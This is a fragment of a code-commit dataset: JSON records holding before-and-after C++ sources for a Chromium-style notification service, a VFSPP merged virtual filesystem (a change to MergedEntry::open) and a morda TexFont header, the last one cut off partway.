observer_list = observers_[type.value][source.map_key()];\n  } else {\n    observer_list = new NotificationObserverList;\n    observers_[type.value][source.map_key()] = observer_list;\n  }\n\n  observer_list->AddObserver(observer);\n#ifndef NDEBUG\n  ++observer_counts_[type.value];\n#endif\n}\n\nvoid NotificationService::RemoveObserver(NotificationObserver* observer,\n                                         NotificationType type,\n                                         const NotificationSource& source) {\n  DCHECK(type.value < NotificationType::NOTIFICATION_TYPE_COUNT);\n  DCHECK(HasKey(observers_[type.value], source));\n\n  NotificationObserverList* observer_list =\n      observers_[type.value][source.map_key()];\n  if (observer_list) {\n    observer_list->RemoveObserver(observer);\n#ifndef NDEBUG\n    --observer_counts_[type.value];\n#endif\n  }\n\n  \/\/ TODO(jhughes): Remove observer list from map if empty?\n}\n\nvoid NotificationService::Notify(NotificationType type,\n                                 const NotificationSource& source,\n                                 const NotificationDetails& details) {\n  DCHECK(type.value > NotificationType::ALL) <<\n      \"Allowed for observing, but not posting.\";\n  DCHECK(type.value < NotificationType::NOTIFICATION_TYPE_COUNT);\n\n  \/\/ There's no particular reason for the order in which the different\n  \/\/ classes of observers get notified here.\n\n  \/\/ Notify observers of all types and all sources\n  if (HasKey(observers_[NotificationType::ALL], AllSources()) &&\n      source != AllSources()) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n       *observers_[NotificationType::ALL][AllSources().map_key()],\n       Observe(type, source, details));\n  }\n\n  \/\/ Notify observers of all types and the given source\n  if (HasKey(observers_[NotificationType::ALL], source)) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n        *observers_[NotificationType::ALL][source.map_key()],\n        Observe(type, source, details));\n  }\n\n  \/\/ Notify observers of the given type and all sources\n  if (HasKey(observers_[type.value], AllSources()) &&\n      source != AllSources()) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n                      *observers_[type.value][AllSources().map_key()],\n                      Observe(type, source, details));\n  }\n\n  \/\/ Notify observers of the given type and the given source\n  if (HasKey(observers_[type.value], source)) {\n    FOR_EACH_OBSERVER(NotificationObserver,\n                      *observers_[type.value][source.map_key()],\n                      Observe(type, source, details));\n  }\n}\n\n\nNotificationService::~NotificationService() {\n  lazy_tls_ptr.Pointer()->Set(NULL);\n\n#ifndef NDEBUG\n  for (int i = 0; i < NotificationType::NOTIFICATION_TYPE_COUNT; i++) {\n    if (observer_counts_[i] > 0) {\n      LOG(WARNING) << observer_counts_[i] << \" notification observer(s) leaked\"\n          << \" of notification type \" << i;\n    }\n  }\n#endif\n\n  for (int i = 0; i < NotificationType::NOTIFICATION_TYPE_COUNT; i++) {\n    NotificationSourceMap omap = observers_[i];\n    for (NotificationSourceMap::iterator it = omap.begin();\n         it != omap.end(); ++it) {\n      delete it->second;\n    }\n  }\n}\n\nNotificationObserver::~NotificationObserver() {}\n\n<|endoftext|>"}
{"text":"<commit_before>\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/foreach.hpp>\n\n#include \"VFSPP\/merged.hpp\"\n\nusing namespace vfspp;\nusing namespace vfspp::merged;\n\nusing namespace boost;\n\nnamespace\n{\n\tboost::shared_ptr<MergedEntry> getParent(MergedEntry* entry)\n\t{\n\t\tsize_t slash = entry->getPath().find_last_of(DirectorySeparatorChar);\n\n\t\tif (slash != string_type::npos)\n\t\t{\n\t\t\tstring_type parentPath = entry->getPath();\n\t\t\tparentPath.resize(slash);\n\n\t\t\treturn static_pointer_cast<MergedEntry>(entry->parentSystem->getRootEntry()->getChild(parentPath));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ return null for root\n\t\t\treturn shared_ptr<MergedEntry>();\n\t\t}\n\t}\n}\n\ntypedef unordered_map<string_type, shared_ptr<MergedEntry> >::iterator ChildMapping;\n\nMergedEntry::MergedEntry(MergedFileSystem* parentSystem, FileEntryPointer contained) :\nIFileSystemEntry(contained ? contained->getPath() : \"\"), parentSystem(parentSystem), containedEntry(contained),\ndirty(true)\n{\n}\n\nvoid MergedEntry::addChildren(IFileSystemEntry* entry)\n{\n\tif (entry->getType() != DIRECTORY)\n\t{\n\t\treturn;\n\t}\n\n\tstd::vector<FileEntryPointer> entries;\n\n\tentry->listChildren(entries);\n\n\tBOOST_FOREACH(FileEntryPointer& childEntry, entries)\n\t{\n\t\tstring_type entryName = normalizePath(childEntry->getPath(), parentSystem->caseInsensitive);\n\t\tif (!isRoot())\n\t\t{\n\t\t\tentryName = normalizePath(entryName.substr(path.size()));\n\t\t}\n\t\tsize_t slash = entryName.find_first_of(DirectorySeparatorChar);\n\n\t\tif (slash != string_type::npos)\n\t\t{\n\t\t\tentryName.resize(slash);\n\t\t}\n\n\t\tif (cachedChildMapping.find(entryName) == cachedChildMapping.end())\n\t\t{\n\t\t\t\/\/ This entry hasn't been found yet\n\t\t\tshared_ptr<MergedEntry> newEntry(new MergedEntry(parentSystem, childEntry));\n\n\t\t\tcachedChildMapping.insert(std::make_pair(entryName, newEntry));\n\t\t\tcachedChildEntries.push_back(newEntry);\n\t\t}\n\t}\n}\n\nvoid MergedEntry::cacheChildren()\n{\n\tcachedChildEntries.clear();\n\tcachedChildMapping.clear();\n\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & OP_READ)\n\t\t{\n\t\t\tif (isRoot())\n\t\t\t{\n\t\t\t\taddChildren(system->getRootEntry());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tFileEntryPointer entry = system->getRootEntry()->getChild(path);\n\n\t\t\t\tif (entry)\n\t\t\t\t{\n\t\t\t\t\taddChildren(entry.get());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tdirty = false;\n}\n\nboost::shared_ptr<MergedEntry> MergedEntry::getEntryInternal(const string_type& path)\n{\n\tif (dirty)\n\t{\n\t\tcacheChildren();\n\t}\n\n\tsize_t separator = path.find_first_of(DirectorySeparatorChar);\n\n\tif (separator == string_type::npos)\n\t{\n\t\tChildMapping found = cachedChildMapping.find(path);\n\n\t\tif (found != cachedChildMapping.end())\n\t\t{\n\t\t\treturn found->second;\n\t\t}\n\t}\n\telse\n\t{\n\t\tstring_type thisLevel = path.substr(0, separator);\n\n\t\tChildMapping found = cachedChildMapping.find(thisLevel);\n\n\t\tif (found != cachedChildMapping.end())\n\t\t{\n\t\t\treturn found->second->getEntryInternal(path.substr(separator + 1));\n\t\t}\n\t}\n\n\treturn shared_ptr<MergedEntry>();\n}\n\nFileEntryPointer MergedEntry::getChild(const string_type& path)\n{\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\treturn getEntryInternal(normalizePath(path, parentSystem->caseInsensitive));\n}\n\nsize_t MergedEntry::numChildren()\n{\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tif (dirty)\n\t{\n\t\tcacheChildren();\n\t}\n\n\treturn cachedChildEntries.size();\n}\n\nvoid MergedEntry::listChildren(std::vector<FileEntryPointer>& outVector)\n{\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tif (dirty)\n\t{\n\t\tcacheChildren();\n\t}\n\n\toutVector.clear();\n\n\tstd::copy(cachedChildEntries.begin(), cachedChildEntries.end(), std::back_inserter(outVector));\n}\n\nboost::shared_ptr<std::streambuf> MergedEntry::open(int mode)\n{\n\tint ops = modeToOperation(mode);\n\n\tif (!(parentSystem->supportedOperations() & ops))\n\t{\n\t\tthrow InvalidOperationException(\"No filesystem supports the requested operations!\");\n\t}\n\n\tif (getType() != FILE)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no file!\");\n\t}\n\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & ops)\n\t\t{\n\t\t\tshared_ptr<IFileSystemEntry> entry = system->getRootEntry()->getChild(path);\n\n\t\t\tif (entry && entry->getType() == FILE)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tshared_ptr<std::streambuf> buffer = entry->open(mode);\n\n\t\t\t\t\tif (buffer)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Stop if we have sucessfully opened a file\n\t\t\t\t\t\treturn buffer;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (const FileSystemException&)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Ignore filesystem errors and continue searching\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tthrow FileSystemException(\"Failed to open file from any filesystem!\");\n}\n\nEntryType MergedEntry::getType() const\n{\n\tif (!isRoot())\n\t{\n\t\treturn containedEntry->getType();\n\t}\n\telse\n\t{\n\t\t\/\/ Root directory\n\t\treturn DIRECTORY;\n\t}\n}\n\nbool MergedEntry::deleteChild(const string_type& name)\n{\n\tif (!(parentSystem->supportedOperations() & OP_DELETE))\n\t{\n\t\tthrow InvalidOperationException(\"No filesystem supports deleting!\");\n\t}\n\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tstring_type normalized = normalizePath(name);\n\n\t\/\/ we want to delete the entry in the directory that actually contains it to keep\n\t\/\/ recaching overhead as small as possible\n\tsize_t slash = normalized.find(DirectorySeparatorStr);\n\tif (slash != string_type::npos)\n\t{\n\t\t\/\/ remove everything after the slash\n\t\tnormalized.resize(slash);\n\n\t\tFileEntryPointer entry = getEntryInternal(normalized);\n\n\t\tif (entry)\n\t\t{\n\t\t\treturn entry->deleteChild(name.substr(slash + 1, name.size() - 1));\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tbool success = false;\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & OP_DELETE)\n\t\t{\n\t\t\tFileEntryPointer entry = system->getRootEntry()->getChild(path);\n\n\t\t\tif (entry && entry->getType() == DIRECTORY)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tsuccess = entry->deleteChild(name) || success;\n\t\t\t\t}\n\t\t\t\tcatch (const FileSystemException&)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Ignore filesystem errors and continue searching\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn success;\n}\n\nFileEntryPointer MergedEntry::createEntry(EntryType type, const string_type& name)\n{\n\tif (!(parentSystem->supportedOperations() & OP_CREATE))\n\t{\n\t\tthrow InvalidOperationException(\"No filesystem supports deleting!\");\n\t}\n\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & OP_CREATE)\n\t\t{\n\t\t\tFileEntryPointer entry = system->getRootEntry()->getChild(path);\n\n\t\t\tif (entry && entry->getType() == DIRECTORY)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tFileEntryPointer newEntry = entry->createEntry(type, name);\n\n\t\t\t\t\tif (newEntry)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Stop if we have sucessfully created an entry\n\t\t\t\t\t\treturn shared_ptr<MergedEntry>(new MergedEntry(parentSystem, newEntry));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (const FileSystemException&)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Ignore filesystem errors and continue searching\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn FileEntryPointer();\n}\n\nvoid MergedEntry::rename(const string_type& newPath)\n{\n\tif (isRoot())\n\t{\n\t\tthrow FileSystemException(\"Cannot rename root!\");\n\t}\n\n\tcontainedEntry->rename(newPath);\n\n\tshared_ptr<MergedEntry> parent = getParent(this);\n\n\tif (parent)\n\t{\n\t\tparent->dirty = true;\n\t}\n\telse\n\t{\n\t\tparentSystem->getRootEntry()->dirty = true;\n\t}\n}\n\ntime_t MergedEntry::lastWriteTime()\n{\n\treturn containedEntry->lastWriteTime();\n}\n<commit_msg>Try to open the contained entry first.<commit_after>\n#include <boost\/algorithm\/string.hpp>\n#include <boost\/foreach.hpp>\n\n#include \"VFSPP\/merged.hpp\"\n\nusing namespace vfspp;\nusing namespace vfspp::merged;\n\nusing namespace boost;\n\nnamespace\n{\n\tboost::shared_ptr<MergedEntry> getParent(MergedEntry* entry)\n\t{\n\t\tsize_t slash = entry->getPath().find_last_of(DirectorySeparatorChar);\n\n\t\tif (slash != string_type::npos)\n\t\t{\n\t\t\tstring_type parentPath = entry->getPath();\n\t\t\tparentPath.resize(slash);\n\n\t\t\treturn static_pointer_cast<MergedEntry>(entry->parentSystem->getRootEntry()->getChild(parentPath));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ return null for root\n\t\t\treturn shared_ptr<MergedEntry>();\n\t\t}\n\t}\n}\n\ntypedef unordered_map<string_type, shared_ptr<MergedEntry> >::iterator ChildMapping;\n\nMergedEntry::MergedEntry(MergedFileSystem* parentSystem, FileEntryPointer contained) :\nIFileSystemEntry(contained ? contained->getPath() : \"\"), parentSystem(parentSystem), containedEntry(contained),\ndirty(true)\n{\n}\n\nvoid MergedEntry::addChildren(IFileSystemEntry* entry)\n{\n\tif (entry->getType() != DIRECTORY)\n\t{\n\t\treturn;\n\t}\n\n\tstd::vector<FileEntryPointer> entries;\n\n\tentry->listChildren(entries);\n\n\tBOOST_FOREACH(FileEntryPointer& childEntry, entries)\n\t{\n\t\tstring_type entryName = normalizePath(childEntry->getPath(), parentSystem->caseInsensitive);\n\t\tif (!isRoot())\n\t\t{\n\t\t\tentryName = normalizePath(entryName.substr(path.size()));\n\t\t}\n\t\tsize_t slash = entryName.find_first_of(DirectorySeparatorChar);\n\n\t\tif (slash != string_type::npos)\n\t\t{\n\t\t\tentryName.resize(slash);\n\t\t}\n\n\t\tif (cachedChildMapping.find(entryName) == cachedChildMapping.end())\n\t\t{\n\t\t\t\/\/ This entry hasn't been found yet\n\t\t\tshared_ptr<MergedEntry> newEntry(new MergedEntry(parentSystem, childEntry));\n\n\t\t\tcachedChildMapping.insert(std::make_pair(entryName, newEntry));\n\t\t\tcachedChildEntries.push_back(newEntry);\n\t\t}\n\t}\n}\n\nvoid MergedEntry::cacheChildren()\n{\n\tcachedChildEntries.clear();\n\tcachedChildMapping.clear();\n\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & OP_READ)\n\t\t{\n\t\t\tif (isRoot())\n\t\t\t{\n\t\t\t\taddChildren(system->getRootEntry());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tFileEntryPointer entry = system->getRootEntry()->getChild(path);\n\n\t\t\t\tif (entry)\n\t\t\t\t{\n\t\t\t\t\taddChildren(entry.get());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tdirty = false;\n}\n\nboost::shared_ptr<MergedEntry> MergedEntry::getEntryInternal(const string_type& path)\n{\n\tif (dirty)\n\t{\n\t\tcacheChildren();\n\t}\n\n\tsize_t separator = path.find_first_of(DirectorySeparatorChar);\n\n\tif (separator == string_type::npos)\n\t{\n\t\tChildMapping found = cachedChildMapping.find(path);\n\n\t\tif (found != cachedChildMapping.end())\n\t\t{\n\t\t\treturn found->second;\n\t\t}\n\t}\n\telse\n\t{\n\t\tstring_type thisLevel = path.substr(0, separator);\n\n\t\tChildMapping found = cachedChildMapping.find(thisLevel);\n\n\t\tif (found != cachedChildMapping.end())\n\t\t{\n\t\t\treturn found->second->getEntryInternal(path.substr(separator + 1));\n\t\t}\n\t}\n\n\treturn shared_ptr<MergedEntry>();\n}\n\nFileEntryPointer MergedEntry::getChild(const string_type& path)\n{\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\treturn getEntryInternal(normalizePath(path, parentSystem->caseInsensitive));\n}\n\nsize_t MergedEntry::numChildren()\n{\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tif (dirty)\n\t{\n\t\tcacheChildren();\n\t}\n\n\treturn cachedChildEntries.size();\n}\n\nvoid MergedEntry::listChildren(std::vector<FileEntryPointer>& outVector)\n{\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tif (dirty)\n\t{\n\t\tcacheChildren();\n\t}\n\n\toutVector.clear();\n\n\tstd::copy(cachedChildEntries.begin(), cachedChildEntries.end(), std::back_inserter(outVector));\n}\n\nboost::shared_ptr<std::streambuf> MergedEntry::open(int mode)\n{\n\tint ops = modeToOperation(mode);\n\n\tif (!(parentSystem->supportedOperations() & ops))\n\t{\n\t\tthrow InvalidOperationException(\"No filesystem supports the requested operations!\");\n\t}\n\n\tif (getType() != FILE)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no file!\");\n\t}\n\n\ttry\n\t{\n\t\t\/\/ First try to open the contained entry\n\t\treturn containedEntry->open(mode);\n\t}\n\tcatch (...)\n\t{\n\t\t\/\/ If that fails try to open a file of another filesystem\n\t}\n\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & ops)\n\t\t{\n\t\t\tshared_ptr<IFileSystemEntry> entry = system->getRootEntry()->getChild(path);\n\n\t\t\tif (entry && entry->getType() == FILE)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tshared_ptr<std::streambuf> buffer = entry->open(mode);\n\n\t\t\t\t\tif (buffer)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Stop if we have sucessfully opened a file\n\t\t\t\t\t\treturn buffer;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (const FileSystemException&)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Ignore filesystem errors and continue searching\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tthrow FileSystemException(\"Failed to open file from any filesystem!\");\n}\n\nEntryType MergedEntry::getType() const\n{\n\tif (!isRoot())\n\t{\n\t\treturn containedEntry->getType();\n\t}\n\telse\n\t{\n\t\t\/\/ Root directory\n\t\treturn DIRECTORY;\n\t}\n}\n\nbool MergedEntry::deleteChild(const string_type& name)\n{\n\tif (!(parentSystem->supportedOperations() & OP_DELETE))\n\t{\n\t\tthrow InvalidOperationException(\"No filesystem supports deleting!\");\n\t}\n\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tstring_type normalized = normalizePath(name);\n\n\t\/\/ we want to delete the entry in the directory that actually contains it to keep\n\t\/\/ recaching overhead as small as possible\n\tsize_t slash = normalized.find(DirectorySeparatorStr);\n\tif (slash != string_type::npos)\n\t{\n\t\t\/\/ remove everything after the slash\n\t\tnormalized.resize(slash);\n\n\t\tFileEntryPointer entry = getEntryInternal(normalized);\n\n\t\tif (entry)\n\t\t{\n\t\t\treturn entry->deleteChild(name.substr(slash + 1, name.size() - 1));\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tbool success = false;\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & OP_DELETE)\n\t\t{\n\t\t\tFileEntryPointer entry = system->getRootEntry()->getChild(path);\n\n\t\t\tif (entry && entry->getType() == DIRECTORY)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tsuccess = entry->deleteChild(name) || success;\n\t\t\t\t}\n\t\t\t\tcatch (const FileSystemException&)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Ignore filesystem errors and continue searching\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn success;\n}\n\nFileEntryPointer MergedEntry::createEntry(EntryType type, const string_type& name)\n{\n\tif (!(parentSystem->supportedOperations() & OP_CREATE))\n\t{\n\t\tthrow InvalidOperationException(\"No filesystem supports deleting!\");\n\t}\n\n\tif (getType() != DIRECTORY)\n\t{\n\t\tthrow InvalidOperationException(\"Entry is no directory!\");\n\t}\n\n\tBOOST_FOREACH(shared_ptr<IFileSystem>& system, parentSystem->fileSystems)\n\t{\n\t\tif (system->supportedOperations() & OP_CREATE)\n\t\t{\n\t\t\tFileEntryPointer entry = system->getRootEntry()->getChild(path);\n\n\t\t\tif (entry && entry->getType() == DIRECTORY)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tFileEntryPointer newEntry = entry->createEntry(type, name);\n\n\t\t\t\t\tif (newEntry)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/\/ Stop if we have sucessfully created an entry\n\t\t\t\t\t\treturn shared_ptr<MergedEntry>(new MergedEntry(parentSystem, newEntry));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (const FileSystemException&)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Ignore filesystem errors and continue searching\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn FileEntryPointer();\n}\n\nvoid MergedEntry::rename(const string_type& newPath)\n{\n\tif (isRoot())\n\t{\n\t\tthrow FileSystemException(\"Cannot rename root!\");\n\t}\n\n\tcontainedEntry->rename(newPath);\n\n\tshared_ptr<MergedEntry> parent = getParent(this);\n\n\tif (parent)\n\t{\n\t\tparent->dirty = true;\n\t}\n\telse\n\t{\n\t\tparentSystem->getRootEntry()->dirty = true;\n\t}\n}\n\ntime_t MergedEntry::lastWriteTime()\n{\n\treturn containedEntry->lastWriteTime();\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>GSvar: improved post-production replication (report config and variant comments).<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* The MIT License:\n\nCopyright (c) 2010-2012 Ivan Gagis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE. *\/\n\n\/\/ Home page: http:\/\/morda.googlecode.com\n\n\/**\n * @author Ivan Gagis <igagis@gmail.com>\n *\/\n\n\n#pragma once\n\n#include <map>\n#include <sstream>\n#include <stdexcept>\n\n#include \"Vector2.hpp\"\n#include \"Rectangle2.hpp\"\n\n#include <ting\/types.hpp>\n#include <ting\/Exc.hpp>\n#include <ting\/fs\/File.hpp>\n\n#include \"..\/config.hpp\"\n\n#ifdef M_MORDA_OGLES2\n#\tinclude <GLES2\/gl2.h>\n#else\n#\tinclude <GL\/glew.h>\n#endif\n\n#include \"GLTexture.hpp\"\n#include \"..\/shaders\/TexturingShader.hpp\"\n\n\n\n#ifdef __ANDROID__\nnamespace std {\n\ttypedef basic_string<wchar_t> wstring;\n}\/\/~namespace\n#endif\n\n\n\nnamespace morda{\n\n\n\nclass TexFont{\n\tstruct Glyph{\n\t\tting::StaticBuffer<morda::Vec2f, 4> verts;\n\t\tting::StaticBuffer<morda::Vec2f, 4> texCoords;\n\n\t\tfloat advance;\n\t};\n\n\tGLTexture tex;\n\n\ttypedef std::map<wchar_t, Glyph> T_GlyphsMap;\n\ttypedef T_GlyphsMap::iterator T_GlyphsIter;\n\tT_GlyphsMap glyphs;\n\n\tfloat fontSize;\n\npublic:\n\nprivate:\n\t\/\/Bounding box holds the dimensions of the largest loaded glyph.\n\tmorda::Rect2f boundingBox;\n\npublic:\n\tTexFont(){}\n\n\tTexFont(ting::fs::File& fi, const wchar_t* chars, unsigned size, unsigned outline = 0){\n\t\tthis->Load(fi, chars, size, outline);\n\t}\n\n\tvoid Load(ting::fs::File& fi, const wchar_t* chars, unsigned size, unsigned outline = 0);\n\n\tinline float FontSize()const{\n\t\treturn this->fontSize;\n\t}\n\n\t\/\/renders the string, returns resulting string advance\n\tinline float RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const wchar_t* s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s);\n\t}\n\n\tinline float RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const std::wstring& s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s.c_str());\n\t}\n\n\tinline float RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const char* s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s);\n\t}\n\n\tinline float RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const std::string& s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s.c_str());\n\t}\n\n\tinline const morda::Rect2f& FontBoundingBox()const{\n\t\treturn this->boundingBox;\n\t}\n\n\tinline float StringAdvance(const wchar_t* s)const{\n\t\treturn this->StringAdvanceInternal(s);\n\t}\n\t\n\tinline float StringAdvance(const std::wstring& s)const{\n\t\treturn this->StringAdvanceInternal(s.c_str());\n\t}\n\t\n\tinline float StringAdvance(const char* s)const{\n\t\treturn this->StringAdvanceInternal(s);\n\t}\n\t\n\tinline float StringAdvance(const std::string& s)const{\n\t\treturn this->StringAdvanceInternal(s.c_str());\n\t}\n\n\tinline morda::Rect2f StringBoundingBox(const wchar_t* s)const{\n\t\treturn this->StringBoundingBoxInternal(s);\n\t}\n\t\n\tinline morda::Rect2f StringBoundingBox(const std::wstring& s)const{\n\t\treturn this->StringBoundingBoxInternal(s.c_str());\n\t}\n\n\tinline morda::Rect2f StringBoundingBox(const char* s)const{\n\t\treturn this->StringBoundingBoxInternal(s);\n\t}\n\n\tinline morda::Rect2f StringBoundingBox(const std::string& s)const{\n\t\treturn this->StringBoundingBoxInternal(s.c_str());\n\t}\n\n\tDEBUG_CODE( void RenderTex(TexturingShader& shader, const morda::Matr4f& matrix)const; )\n\nprivate:\n\n\tfloat StringAdvanceInternal(const char* s)const;\n\t\n\tfloat StringAdvanceInternal(const wchar_t* s)const;\n\n\tmorda::Rect2f StringBoundingBoxInternal(const char* s)const;\n\t\n\tmorda::Rect2f StringBoundingBoxInternal(const wchar_t* s)const;\n\t\n\tfloat RenderStringInternal(TexturingShader& shader, const morda::Matr4f& matrix, const char* s)const;\n\t\n\tfloat RenderStringInternal(TexturingShader& shader, const morda::Matr4f& matrix, const wchar_t* s)const;\t\n\n\tfloat RenderGlyphInternal(TexturingShader& shader, const morda::Matr4f& matrix, wchar_t ch)const;\n\n};\/\/~class TexFont\n\n\n\n}\/\/~namespace\n<commit_msg>TODO added<commit_after>\/* The MIT License:\n\nCopyright (c) 2010-2014 Ivan Gagis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE. *\/\n\n\/\/ Home page: http:\/\/morda.googlecode.com\n\n\/**\n * @author Ivan Gagis <igagis@gmail.com>\n *\/\n\n\n#pragma once\n\n#include <map>\n#include <sstream>\n#include <stdexcept>\n\n#include \"Vector2.hpp\"\n#include \"Rectangle2.hpp\"\n\n#include <ting\/types.hpp>\n#include <ting\/Exc.hpp>\n#include <ting\/fs\/File.hpp>\n\n#include \"..\/config.hpp\"\n\n#ifdef M_MORDA_OGLES2\n#\tinclude <GLES2\/gl2.h>\n#else\n#\tinclude <GL\/glew.h>\n#endif\n\n#include \"GLTexture.hpp\"\n#include \"..\/shaders\/TexturingShader.hpp\"\n\n\n\n#ifdef __ANDROID__\nnamespace std {\n\ttypedef basic_string<wchar_t> wstring;\n}\/\/~namespace\n#endif\n\n\n\nnamespace morda{\n\n\n\n\/\/TODO: make Font interface\nclass TexFont{\n\tstruct Glyph{\n\t\tting::StaticBuffer<morda::Vec2f, 4> verts;\n\t\tting::StaticBuffer<morda::Vec2f, 4> texCoords;\n\n\t\tfloat advance;\n\t};\n\n\tGLTexture tex;\n\n\ttypedef std::map<wchar_t, Glyph> 